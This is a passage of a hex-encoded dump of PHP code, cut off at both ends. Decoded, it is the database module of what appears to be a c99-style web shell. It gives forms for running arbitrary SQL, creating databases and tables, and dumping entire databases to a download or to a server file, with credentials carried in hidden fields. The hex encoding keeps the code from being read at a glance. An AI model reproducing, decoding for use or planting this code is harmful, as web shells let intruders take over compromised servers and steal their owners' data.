20 20 20 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 72 72 61 79 28 24 72 65 73 75 6C 74 2C 20 4D 59 53 51 4C 5F 41 53 53 4F 43 29 3B 0A 20 20 20 20 20 24 73 71 6C 5F 61 63 74 20 3D 20 22 71 75 65 72 79 22 3B 0A 20 20 20 20 20 24 73 71 6C 5F 74 62 6C 5F 61 63 74 20 3D 20 22 62 72 6F 77 73 65 22 3B 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 20 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 71 75 65 72 79 22 29 0A 20 20 20 7B 0A 20 20 20 20 65 63 68 6F 20 22 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 22 3B 0A 20 20 20 20 69 66 20 28 28 24 73 75 62 6D 69 74 29 20 61 6E 64 20 28 21 24 73 71 6C 5F 71 75 65 72 79 5F 72 65 73 75 6C 74 29 20 61 6E 64 20 28 24 73 71 6C 5F 63 6F 6E 66 69 72 6D 29 29 20 7B 69 66 20 28 21 24 73 71 6C 5F 71 75 65 72 79 5F 65 72 72 6F 72 29 20 7B 24 73 71 6C 5F 71 75 65 72 79 5F 65 72 72 6F 72 20 3D 20 22 51 75 65 72 79 20 77 61 73 20 65 6D 70 74 79 22 3B 7D 20 65 63 68 6F 20 22 3C 62 3E 45 72 72 6F 72 3A 3C 2F 62 3E 20 3C 62 72 3E 22 2E 24 73 71 6C 5F 71 75 65 72 79 5F 65 72 72 6F 72 2E 22 3C 62 72 3E 22 3B 7D 0A 20 20 20 20 69 66 20 28 24 73 71 6C 5F 71 75 65 72 79 5F 72 65 73 75 6C 74 20 6F 72 20 28 21 24 73 71 6C 5F 63 6F 6E 66 69 72 6D 29 29 20 7B 24 73 71 6C 5F 61 63 74 20 3D 20 24 73 71 6C 5F 67 6F 74 6F 3B 7D 0A 20 20 20 20 69 66 20 28 28 21 24 73 75 62 6D 69 74 29 20 6F 72 20 28 24 73 71 6C 5F 61 63 74 29 29 20 7B 65 63 68 6F 20 22 3C 74 61 62 6C 65 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 20 77 69 64 74 68 3D 5C 22 31 30 30 25 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 5C 22 3E 3C 74 72 3E 3C 74 64 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 5C 22 20 6D 65 74 68 6F 64 3D 5C 22 50 4F 53 54 5C 22 3E 3C 62 3E 22 3B 20 69 66 20 28 28 24 73 71 6C 5F 71 75 65 72 79 29 20 61 6E 64 20 28 21 24 73 75 62 6D 69 74 29 29 20 7B 65 63 68 6F 20 22 44 6F 20 79 6F 75 20 72 65 61 6C 6C 79 20 77 61 6E 74 20 74 6F 3A 22 3B 7D 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 53 51 4C 2D 51 75 65 72 79 20 3A 22 3B 7D 20 65 63 68 6F 20 22 3C 2F 62 3E 3C 62 72 3E 3C 62 72 3E 3C 74 65 78 74 61 72 65 61 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 71 75 65 72 79 5C 22 20 63 6F 6C 73 3D 5C 22 31 30 30 5C 22 20 72 6F 77 73 3D 5C 22 31 30 5C 22 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 71 75 65 72 79 29 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 61 63 74 5C 22 20 76 61 6C 75 65 3D 5C 22 71 75 65 72 79 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 74 62 6C 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 74 62 6C 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 67 6F 74 6F 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 67 6F 74 6F 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 63 6F 6E 66 69 72 6D 5C 22 20 76 61 6C 75 65 3D 5C 22 59 65 73 5C 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 76 61 6C 75 65 3D 5C 22 4E 6F 5C 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 22 3B 7D 0A 20 20 20 7D 0A 20 20 20 69 66 20 28 69 6E 5F 61 72 72 61 79 28 24 73 71 6C 5F 61 63 74 2C 24 61 63 74 73 29 29 0A 20 20 20 7B 0A 20 20 20 20 3F 3E 3C 74 61 62 6C 65 20 62 6F 72 64 65 72 3D 22 30 22 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 62 3E 43 72 65 61 74 65 20 6E 65 77 20 74 61 62 6C 65 3A 3C 2F 62 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 61 63 74 22 20 76 61 6C 75 65 3D 22 73 71 6C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 61 63 74 22 20 76 61 6C 75 65 3D 22 6E 65 77 74 62 6C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 64 62 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 64 62 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 6C 6F 67 69 6E 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 61 73 73 77 64 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 73 65 72 76 65 72 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 6F 72 74 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 6E 65 77 74 62 6C 22 20 73 69 7A 65 3D 22 32 30 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22 43 72 65 61 74 65 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 62 3E 44 75 6D 70 20 44 42 3A 3C 2F 62 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 61 63 74 22 20 76 61 6C 75 65 3D 22 73 71 6C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 61 63 74 22 20 76 61 6C 75 65 3D 22 64 75 6D 70 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 64 62 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 64 62 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 6C 6F 67 69 6E 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 61 73 73 77 64 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 73 65 72 76 65 72 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 6F 72 74 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 64 75 6D 70 5F 66 69 6C 65 22 20 73 69 7A 65 3D 22 33 30 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 22 64 75 6D 70 5F 22 2E 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 4E 41 4D 45 22 29 2E 22 5F 22 2E 24 73 71 6C 5F 64 62 2E 22 5F 22 2E 64 61 74 65 28 22 64 2D 6D 2D 59 2D 48 2D 69 2D 73 22 29 2E 22 2E 73 71 6C 22 3B 20 3F 3E 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 6E 61 6D 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 76 61 6C 75 65 3D 22 44 75 6D 70 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 3C 3F 70 68 70 0A 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 71 6C 5F 61 63 74 29 29 20 7B 65 63 68 6F 20 22 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 22 3B 7D 0A 20 20 20 20 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 6E 65 77 74 62 6C 22 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 22 3B 0A 20 20 20 20 20 69 66 20 28 28 6D 79 73 71 6C 5F 63 72 65 61 74 65 5F 64 62 20 28 24 73 71 6C 5F 6E 65 77 64 62 29 29 20 61 6E 64 20 28 21 65 6D 70 74 79 28 24 73 71 6C 5F 6E 65 77 64 62 29 29 29 20 7B 65 63 68 6F 20 22 44 42 20 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6E 65 77 64 62 29 2E 22 5C 22 20 68 61 73 20 62 65 65 6E 20 63 72 65 61 74 65 64 20 77 69 74 68 20 73 75 63 63 65 73 73 21 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 7D 0A 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 43 61 6E 27 74 20 63 72 65 61 74 65 20 44 42 20 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6E 65 77 64 62 29 2E 22 5C 22 2E 3C 62 72 3E 52 65 61 73 6F 6E 3A 3C 2F 62 3E 20 22 2E 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 29 3B 7D 0A 20 20 20 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 64 75 6D 70 22 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 73 75 62 6D 69 74 29 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 64 69 70 6C 61 79 20 3D 20 66 61 6C 73 65 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 66 6F 72 6D 20 6D 65 74 68 6F 64 3D 5C 22 47 45 54 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 61 63 74 5C 22 20 76 61 6C 75 65 3D 5C 22 73 71 6C 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 61 63 74 5C 22 20 76 61 6C 75 65 3D 5C 22 64 75 6D 70 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 64 62 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 64 62 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 6C 6F 67 69 6E 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 70 61 73 73 77 64 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 73 65 72 76 65 72 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 70 6F 72 74 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 74 62 6C 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 74 62 6C 29 2E 22 5C 22 3E 3C 62 3E 53 51 4C 2D 44 75 6D 70 3A 3C 2F 62 3E 3C 62 72 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 44 42 3A 3C 2F 62 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 64 62 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 73 71 6C 5F 64 62 29 2E 22 5C 22 3E 3C 62 72 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 24 76 20 3D 20 6A 6F 69 6E 20 28 22 3B 22 2C 24 64 6D 70 74 62 6C 73 29 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 4F 6E 6C 79 20 74 61 62 6C 65 73 20 28 65 78 70 6C 6F 64 65 20 5C 22 3B 5C 22 29 26 6E 62 73 70 3B 3C 62 3E 3C 73 75 70 3E 31 3C 2F 73 75 70 3E 3C 2F 62 3E 3A 3C 2F 62 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 64 6D 70 74 62 6C 73 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 76 29 2E 22 5C 22 20 73 69 7A 65 3D 5C 22 22 2E 28 73 74 72 6C 65 6E 28 24 76 29 2B 35 29 2E 22 5C 22 3E 3C 62 72 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 69 66 20 28 24 64 75 6D 70 5F 66 69 6C 65 29 20 7B 24 74 6D 70 20 3D 20 24 64 75 6D 70 5F 66 69 6C 65 3B 7D 0A 20 20 20 20 20 65 6C 73 65 20 7B 24 74 6D 70 20 3D 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 22 2E 2F 64 75 6D 70 5F 22 2E 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 4E 41 4D 45 22 29 2E 22 5F 22 2E 24 73 71 6C 5F 64 62 2E 22 5F 22 2E 64 61 74 65 28 22 64 2D 6D 2D 59 2D 48 2D 69 2D 73 22 29 2E 22 2E 73 71 6C 22 29 3B 7D 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 46 69 6C 65 3A 3C 2F 62 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 64 75 6D 70 5F 66 69 6C 65 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 74 6D 70 2E 22 5C 22 20 73 69 7A 65 3D 5C 22 22 2E 28 73 74 72 6C 65 6E 28 24 74 6D 70 29 2B 73 74 72 6C 65 6E 28 24 74 6D 70 29 20 25 20 33 30 29 2E 22 5C 22 3E 3C 62 72 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 44 6F 77 6E 6C 6F 61 64 3A 20 3C 2F 62 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 64 75 6D 70 5F 64 6F 77 6E 6C 6F 61 64 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 20 63 68 65 63 6B 65 64 3E 3C 62 72 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 53 61 76 65 20 74 6F 20 66 69 6C 65 3A 20 3C 2F 62 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 64 75 6D 70 5F 73 61 76 65 74 6F 66 69 6C 65 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 20 63 68 65 63 6B 65 64 3E 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 6E 61 6D 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 76 61 6C 75 65 3D 5C 22 44 75 6D 70 5C 22 3E 3C 62 72 3E 3C 62 72 3E 3C 62 3E 3C 73 75 70 3E 31 3C 2F 73 75 70 3E 3C 2F 62 3E 20 2D 20 61 6C 6C 2C 20 69 66 20 65 6D 70 74 79 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 66 6F 72 6D 3E 22 3B 0A 20 20 20 20 7D 0A 20 20 20 20 65 6C 73 65 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 64 69 70 6C 61 79 20 3D 20 74 72 75 65 3B 0A 20 20 20 20 20 24 73 65 74 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 20 20 24 73 65 74 5B 22 73 6F 63 6B 22 5D 20 3D 20 24 73 71 6C 5F 73 6F 63 6B 3B 0A 20 20 20 20 20 24 73 65 74 5B 22 64 62 22 5D 20 3D 20 24 73 71 6C 5F 64 62 3B 0A 20 20 20 20 20 24 64 75 6D 70 5F 6F 75 74 20 3D 20 22 64 6F 77 6E 6C 6F 61 64 22 3B 0A 20 20 20 20 20 24 73 65 74 5B 22 70 72 69 6E 74 22 5D 20 3D 20 30 3B 0A 20 20 20 20 20 24 73 65 74 5B 22 6E 6C 32 62 72 22 5D 20 3D 20 30 3B 0A 20 20 20 20 20 24 73 65 74 5B 22 22 5D 20 3D 20 30 3B 0A 20 20 20 20 20 24 73 65 74 5B 22 66 69 6C 65 22 5D 20 3D 20 24 64 75 6D 70 5F 66 69 6C 65 3B 0A 20 20 20 20 20 24 73 65 74 5B 22 61 64 64 5F 64 72 6F 70 22 5D 20 3D 20 74 72 75 65 3B 0A 20 20 20 20 20 24 73 65 74 5B 22 6F 6E 6C 79 74 61 62 73 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 64 6D 70 74 62 6C 73 29 29 20 7B 24 73 65 74 5B 22 6F 6E 6C 79 74 61 62 73 22 5D 20 3D 20 65 78 70 6C 6F 64 65 28 22 3B 22 2C 24 64 6D 70 74 62 6C 73 29 3B 7D 0A 20 20 20 20 20 24 72 65 74 20 3D 20 6D 79 73 71 6C 5F 64 75 6D 70 28 24 73 65 74 29 3B 0A 20 20 20 20 20 69 66 20 28 24 73 71 6C 5F 64 75 6D 70 5F 64 6F 77 6E 6C 6F 61 64 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 0A 20 20 20 20 20 20 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 22 29 3B 0A 20 20 20 20 20 20 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 6C 65 6E 67 74 68 3A 20 22 2E 73 74 72 6C 65 6E 28 24 72 65 74 29 29 3B 0A 20 20 20 20 20 20 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 64 69 73 70 6F 73 69 74 69 6F 6E 3A 20 61 74 74 61 63 68 6D 65 6E 74 3B 20 66 69 6C 65 6E 61 6D 65 3D 5C 22 22 2E 62 61 73 65 6E 61 6D 65 28 24 73 71 6C 5F 64 75 6D 70 5F 66 69 6C 65 29 2E 22 5C 22 3B 22 29 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 24 72 65 74 3B 0A 20 20 20 20 20 20 65 78 69 74 3B 0A 20 20 20 20 20 7D 0A 20 20 20 20 20 65 6C 73 65 69 66 20 28 24 73 71 6C 5F 64 75 6D 70 5F 73 61 76 65 74 6F 66 69 6C 65 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 24 66 70 20 3D 20 66 6F 70 65 6E 28 24 73 71 6C 5F 64 75 6D 70 5F 66 69 6C 65 2C 22 77 22 29 3B 0A 20 20 20 20 20 20 69 66 20 28 21 24 66 70 29 20 7B 65 63 68 6F 20 22 3C 62 3E 44 75 6D 70 20 65 72 72 6F 72 21 20 43 61 6E 27 74 20 77 72 69 74 65 20 74 6F 20 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 64 75 6D 70 5F 66 69 6C 65 29 2E 22 5C 22 21 22 3B 7D 0A 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 66 77 72 69 74 65 28 24 66 70 2C 24 72 65 74 29 3B 0A 20 20 20 20 20 20 20 66 63 6C 6F 73 65 28 24 66 70 29 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 44 75 6D 70 65 64 21 20 44 75 6D 70 20 68 61 73 20 62 65 65 6E 20 77 72 69 74 65 64 20 74 6F 20 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 72 65 61 6C 70 61 74 68 28 24 73 71 6C 5F 64 75 6D 70 5F 66 69 6C 65 29 29 2E 22 5C 22 20 28 22 2E 76 69 65 77 5F 73 69 7A 65 28 66 69 6C 65 73 69 7A 65 28 24 73 71 6C 5F 64 75 6D 70 5F 66 69 6C 65 29 29 2E 22 29 3C 2F 62 3E 2E 22 3B 0A 20 20 20 20 20 20 7D 0A 20 20 20 20 20 7D 0A 20 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 62 3E 44 75 6D 70 3A 20 6E 6F 74 68 69 6E 67 20 74 6F 20 64 6F 21 3C 2F 62 3E 22 3B 7D 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 20 69 66 20 28 24 64 69 70 6C 61 79 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 71 6C 5F 74 62 6C 29 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 73 71 6C 5F 74 62 6C 5F 61 63 74 29 29 20 7B 24 73 71 6C 5F 74 62 6C 5F 61 63 74 20 3D 20 22 62 72 6F 77 73 65 22 3B 7D 0A 20 20 20 20 20 24 63 6F 75 6E 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 53 45 4C 45 43 54 20 43 4F 55 4E 54 28 2A 29 20 46 52 4F 4D 20 60 22 2E 24 73 71 6C 5F 74 62 6C 2E 22 60 3B 22 29 3B 0A 20 20 20 20 20 24 63 6F 75 6E 74 5F 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 72 72 61 79 28 24 63 